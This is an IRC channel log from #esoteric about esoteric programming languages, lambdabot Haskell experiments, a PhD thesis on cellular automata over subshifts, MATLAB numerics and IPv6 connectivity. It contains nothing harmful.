:^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :ffffffuuuuuuuuuuuuuuu i wasted all that time < 1395360372 445404 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION gives ^v a chocolate chip cookie < 1395360384 811694 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :k. < 1395360483 910429 :stopreadingthis_!~chatzilla@72-28-222-028-dhcp.mia.fl.atlanticbb.net QUIT :Quit: ChatZilla 0.9.90.1 [SeaMonkey 2.24/20140203230027] < 1395360641 634338 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@let demgifos = showIntAtBase 16 `flip` "" $ (!!) (undefined:"><+-.,[]") < 1395360642 785938 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : .L.hs:155:5: < 1395360642 906248 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (Integral [Char]) < 1395360642 962096 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from a use of `showIntAtBase' < 1395360642 962283 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible fix: add an instance declaration for (Integral [Char]) < 1395360642 962380 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : In the first argument of `flip', namely `showIntAtBase 16' < 1395360660 468698 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::t showIntAtBase < 1395360661 415473 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :(Integral a, Show a) => a -> (Int -> Char) -> a -> ShowS < 1395360692 742233 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@let demgifos = showIntAtBase 16 ((!!) (undefined:"><+-.,[]")) `flip` "" < 1395360694 480873 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Defined. < 1395360705 206491 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run demgifos 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333 < 1395360707 756545 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-... < 1395360723 457388 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i think that was cut off < 1395360745 963701 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run drop 70 $ demgifos 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333 < 1395360748 407157 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : ">>.<-.<.+++.------.--------.>>+.>++." < 1395360765 323095 :contrapumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395360770 834878 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395360898 429681 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Ping timeout: 240 seconds < 1395360901 81603 :propumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395361079 280080 :contrapumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Ping timeout: 240 seconds < 1395361109 633220 :propumpkin!~copumpkin@unaffiliated/copumpkin NICK :copumpkin < 1395361142 745988 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395361511 884466 :contrapumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395361661 138827 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Ping timeout: 246 seconds < 1395361673 261858 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395361849 402618 :contrapumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Ping timeout: 240 seconds < 1395362216 642400 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1395364143 91929 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395364175 196308 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1395365996 770597 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395366024 787887 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395366102 518647 :itsy!~john_metc@30.74.125.91.dyn.plus.net QUIT :Read error: Connection reset by peer < 1395366443 863557 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395366517 688093 :variable!root@freebsd/developer/variable JOIN :#esoteric < 1395366628 173383 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395366660 178797 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395366725 740262 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395366929 240057 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 245 seconds < 1395369424 810254 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395369472 674932 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395369986 477679 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :where be le iconmaster < 1395370281 505739 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395370454 282621 :huh!~area@wikipedia/PiRSquared17 JOIN :#esoteric < 1395371496 550408 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395371940 468086 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ah < 1395372216 986128 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395372964 775412 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395372966 802242 :conehead!~conehead@unaffiliated/conehead QUIT :Client Quit < 1395373435 831937 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :where is iconmaster so i can stab him for being horrible at lua < 1395374251 340530 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395374769 43564 :huh!~area@wikipedia/PiRSquared17 QUIT :Quit: - < 1395375087 62748 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395375526 750916 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :MtGox just discovered $116 million worth of Bitcoins that they'd misplaced < 1395375533 916298 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :... < 1395375613 983390 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yeah, that's happened to me a couple of times < 1395375624 203107 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :kind of annoying to lose them, but nice when they turn up < 1395375625 926607 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :kmc: Source? < 1395375716 971309 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://online.wsj.com/news/articles/SB10001424052702303802104579452062699281046 < 1395376190 105346 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :yah i think i have about $50million in my couch somewhere < 1395376192 151146 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :*sigh* < 1395376213 233025 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :this is only topped by the US military losing several literal cargo-plane-fulls of $100 bills < 1395376259 384218 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :ooh ooh! deets! < 1395376261 712828 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :it was a dark and foggy war < 1395376281 53396 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :its hard to keep track of all the $100bills < 1395376297 566542 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :meanwhile, generals are doing pretty well for themselves < 1395376298 163626 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 246 seconds < 1395376372 466782 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :http://louhuang.com/2048-numberwang/ < 1395376377 176633 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :You're welcome < 1395376396 789283 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :BEATEN!!! < 1395376549 506075 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :kmc: but $100 bills don't even have intrinsic value! < 1395376566 471458 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(cargo planes do, though, so losing those is bad) < 1395376614 146072 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :you could go on about us military silliness for a while. like the time they flew planes with live nuclear bombs around the north atlantic for several years, dropping several by accident < 1395376621 139019 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :A cargo plane filled with $100 bills is an investment < 1395376633 678872 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395376661 716082 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395377133 851667 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395377169 434215 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395377425 298651 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1395378316 617541 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"also the box is probably worth something as well" < 1395378738 30997 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 255 seconds < 1395379097 44134 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i have concluded that this language is broken, the inturpreter doesnt work, and the examples are bullshit < 1395379098 913378 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :http://esolangs.org/wiki/Right_bracket < 1395379110 350450 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395379166 89508 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395379237 703638 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395379583 576449 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why are slot initializers run in the context of the lobby rather than in the lexical scope? < 1395379620 194943 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Sgeo, wat < 1395379627 822793 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :common lisp does that do. i believe it's due to bullshit. < 1395379627 935267 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :In Self < 1395379631 292748 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :too < 1395379724 864633 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :something about a lack of reified environments and macroexpansions, specifically. maybe it's something similar. < 1395379813 753390 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if this works almost but not quite like letrec < 1395379829 927643 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(| x = 5. y = (x + 3)| x + y) < 1395379841 447659 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Haven't actually tried it < 1395380254 554815 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :question of the century http://puu.sh/7Dnlb.png < 1395380276 593451 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :hope this help < 1395380478 841543 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :www.lscheffer.com/malbolge.shtml < 1395380502 594064 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION twitches at that counter, which looks like it's literally a separate HTML page that got embedded in < 1395380505 164948 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(view source) < 1395380704 153863 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395380732 674850 :password2!~password@197.78.129.192 JOIN :#esoteric < 1395380735 738870 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395381192 552819 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395381265 556294 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395381330 375737 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395381428 912100 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395381428 966805 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395381536 90463 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395382404 788367 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1395382609 250834 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395383048 938277 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395383089 292418 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395383148 683054 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT :Client Quit < 1395383468 205843 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1395383697 800257 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395384555 374051 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i wrote a malbolge inturpreter in LOLScript < 1395384620 547452 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :https://gist.github.com/infinikiller64/9680913 < 1395385392 755938 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :great, now try a LOLscript interpreter in Malbolge :) < 1395385657 551575 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :D: < 1395385673 696264 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :lifthrasiir, cant. < 1395385696 597609 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :uh, obvious joking... don't take it seriously < 1395385716 472004 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :even LuaJIT isnt memory conserving enough < 1395385738 233505 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :it would be actually very problematic since the non-generalized Malbolge is very limited in the available memory < 1395385770 458075 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :loadstring would be hell. < 1395385784 173122 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :wouldn't it be easier to just write a whatever->malbolge compiler and go from there. < 1395385839 809814 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Bike, easiest would be assembly < 1395385840 141233 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395385845 732508 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but memory < 1395386065 8141 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :bed < 1395386068 413596 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395387938 312589 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 240 seconds < 1395388619 779961 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395388628 46379 :Sellyme_!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1395388628 101376 :Sellyme_!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395388765 461540 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395388844 210398 :Slereahphone!~slereahph@193.253.170.202 JOIN :#esoteric < 1395388981 465567 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1395389065 716257 :Sellyme!~Sellyme@2605:4d00:0:2::7a JOIN :#esoteric < 1395390373 427350 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395390628 166837 :Bike!~Glossina@71-222-36-216.ptld.qwest.net QUIT :Quit: rotten < 1395391540 404521 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395391752 759296 :Slereahphone!~slereahph@193.253.170.202 QUIT :Remote host closed the connection < 1395392024 415404 :john_metcalf!~digital_w@30.74.125.91.dyn.plus.net QUIT :Read error: Connection reset by peer < 1395392045 397635 :john_metcalf!~digital_w@30.74.125.91.dyn.plus.net JOIN :#esoteric < 1395392318 305520 :john_metcalf!~digital_w@30.74.125.91.dyn.plus.net QUIT :Ping timeout: 240 seconds < 1395393618 435013 :password2!~password@197.78.129.192 PRIVMSG #esoteric :bleh < 1395393937 268664 :itsy!~john_metc@30.74.125.91.dyn.plus.net QUIT :Ping timeout: 240 seconds < 1395394714 874525 :password2!~password@197.78.129.192 PRIVMSG #esoteric :my first bf intrepreter is progressing < 1395396330 685834 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395396499 362110 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395396500 395363 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395396612 311390 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395396791 268847 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395396856 712674 :password2!~password@197.78.129.192 PRIVMSG #esoteric :oi < 1395396961 130324 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ly < 1395397541 223359 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395397639 640704 :password2!~password@197.78.129.192 PRIVMSG #esoteric :whats up < 1395397793 754607 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :proofreading my phd thesis for the zillionth time < 1395397818 173789 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :making toasts for my breakfast. < 1395398044 906903 :password2!~password@197.78.129.192 PRIVMSG #esoteric :ah < 1395398080 212971 :password2!~password@197.78.129.192 PRIVMSG #esoteric :i have finally started wit a bf intreperter < 1395398093 722711 :password2!~password@197.78.129.192 PRIVMSG #esoteric :whats your phd thesis about? < 1395398151 335834 :password2!~password@197.78.129.192 PRIVMSG #esoteric :anyone perhap have a simple nested loop ie for me? < 1395398233 188739 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :it's about subshifts that do not support cellular automata with strong computational or dynamical properties < 1395398256 923059 :password2!~password@197.78.129.192 PRIVMSG #esoteric :oh < 1395398404 348465 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :basically if you take S^\Z, the set of two-way infinite sequences over a finite set S, then you can build cellular automata with rather brainfuckurous properties. a subshift is a subset of S^\Z where some subwords are forbidden from appearing. a cellular automaton on a subshift is a cellular automaton that never produces a forbidden pattern unless there was one to begin with. < 1395398593 325296 :password2!~password@197.78.129.192 PRIVMSG #esoteric :your maths skill is obviously many many years ahead of mine < 1395398650 970217 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :So, what is known about those subshifts? < 1395398705 412107 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Jafet: which ones? there is no definition like "a subshift is unbrainfuckurous if it does not support interesting CA", but rather, i just give a few examples where i manage to prove, in some sense, that there are not that many interesting CA. < 1395398715 315702 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :and CA = cellular automaton < 1395398772 417931 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :brainfuckurosity should be an official term < 1395398802 295588 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :my main examples are subshifts that either have countably many points (note that S^\Z is uncountable), and ones that are minimal (meaning that for every n, there exists m, such that every word of length n appears in every subword of length m) < 1395398876 134370 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :but i don't get much for the whole classes, i have to restrict to particular subcases < 1395398879 903832 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I assume interesting means undecideable or something < 1395398959 349735 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :well, actually, basically i give _three_ definitions of unbrainfuckurosity, one is precisely in terms of undecidability < 1395399005 284846 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i call a subshift predictable if, given two words u and v, and the local rule of a CA f, you can decide by an algorithm whether there's a point with u in the middle that evolves to a point with v in the middle, when f is applied repeatedly < 1395399047 964065 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :this is something that's not true for S^\Z (it's pretty easy if you can choose S at least; basically you just simulate a turing machine) < 1395399190 320687 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i am not aware of any minimal subshifts that are not predictable (assuming any kind of computability for the subshift that is; by a cardinality argument, there are more prediction problems than turing machines) < 1395399258 25522 :atehwa!atehwa@aulis.sange.fi QUIT :Ping timeout: 255 seconds < 1395399264 499789 :atehwa!atehwa@aulis.sange.fi JOIN :#esoteric < 1395399279 987400 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :as an example, on the subshift generated by the fibonacci substitution, the only cellular automata are shift maps (not due to me) < 1395399311 708319 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :and on the thue-morse substitution, they are shift maps possibly composed with a bit flip < 1395399317 177716 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(also not due to me) < 1395399529 856815 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(and in both cases, all cellular automata are then easily seen to be predictable) < 1395400043 806279 :boily!~boily@96.127.201.149 QUIT :Quit: AUTOMATED CHICKEN < 1395400445 297694 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395400686 237450 :password2!~password@197.78.129.192 PRIVMSG #esoteric :i think i'll take a brake from coding my bot < 1395400707 653753 :password2!~password@197.78.129.192 PRIVMSG #esoteric :he support []<>+- at the moment < 1395400730 156508 :password2!~password@197.78.129.192 PRIVMSG #esoteric :and is hiding in #test_room < 1395401485 226294 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395401719 527809 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395401929 37649 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Client Quit < 1395401948 367092 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395402259 324383 :Vorpal!~Vorpal@unaffiliated/vorpal QUIT :Ping timeout: 264 seconds < 1395402332 615457 :password2!~password@197.78.129.192 PRIVMSG #esoteric :i think i found an error in the esolang wiki < 1395402357 322233 :password2!~password@197.78.129.192 PRIVMSG #esoteric :nvm < 1395402362 506233 :password2!~password@197.78.129.192 PRIVMSG #esoteric :i was reading ot incorrectly < 1395402554 250284 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Why is this multivariate normal distribution PDF returning values of +Inf. < 1395402743 397528 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395403170 477981 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Must be some kind of rounding problem. MATLAB is saying it can invert the covariance matrix, but it has a determinant of exactly 0. < 1395403648 4280 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395403888 159879 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :surely matlab can also do computations correctly? < 1395403972 756295 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395404209 294232 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 240 seconds < 1395404413 977571 :password2!~password@197.78.129.192 QUIT :Ping timeout: 252 seconds < 1395404692 725906 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm not sure what "correctly" means. < 1395404765 658950 :password2!~password@197.78.167.229 JOIN :#esoteric < 1395404989 711489 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i'm assuming your matrix is over real numbers < 1395404998 166971 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :or some other field < 1395405006 637808 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :and you are just approximating with floats or something < 1395405047 611406 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(of course i have no idea what a covariance matrix is) < 1395405494 686210 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395405763 363934 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's over real numbers, and approximated with floats, yes; and MATLAB can only really do computations with floats, at least comfortably. (Okay, there's a Symbolic Math Toolbox that can do a bit more.) < 1395407495 48455 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395408742 287697 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395408762 633128 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yay, this connection has about half a mbps atm < 1395408767 79903 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fast enough for IRC, anyway < 1395408817 940823 :ais523!~ais523@unaffiliated/ais523 QUIT :Read error: Connection reset by peer < 1395408831 781416 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395408839 171918 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, and is /also/ randomly disconnecting < 1395408851 236151 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the prediction is around 2 hours to download a few days worth of security updates < 1395408926 301182 :Tritonio1!~Thunderbi@79.141.172.23 JOIN :#esoteric < 1395409033 464911 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 240 seconds < 1395409310 857310 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :"MATLAB can only really do computations with floats" o_O < 1395409534 309440 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395409549 963521 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395409643 965647 :callforjudgement!~ais523@unaffiliated/ais523 QUIT :Read error: Connection reset by peer < 1395409662 304117 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395409662 518339 :ais523!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 252 seconds < 1395409667 511031 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oklopol: I've had all sorts of issues with MATLAB < 1395409673 882712 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :outputs only explicable via values greater than positive infinity < 1395409675 483456 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :segfaults < 1395409681 737834 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Java stack traces dumped to the console < 1395409722 897158 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh wow, is this network using IPv6? < 1395409892 333672 :scarf!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395409918 402734 :scarf!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :hmm, how do I tell if I have a working IPv6 connection? < 1395409998 292779 :callforjudgement!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 240 seconds < 1395410005 142170 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395410022 582330 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :gah, this is confusing < 1395410029 136345 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there's a lot of evidence that IPv6 is working to some extent < 1395410031 692395 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :scarf: http://test-ipv6.com/ < 1395410061 587118 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott_: it gives me a ? for IPv6 support < 1395410076 587367 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :js on? < 1395410084 293801 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395410097 293553 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am sad because this is a brand new building and it does not have IPv6 support < 1395410185 364586 :scarf!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 240 seconds < 1395410254 212624 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395410302 659770 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Taneb: IPv6 rollout 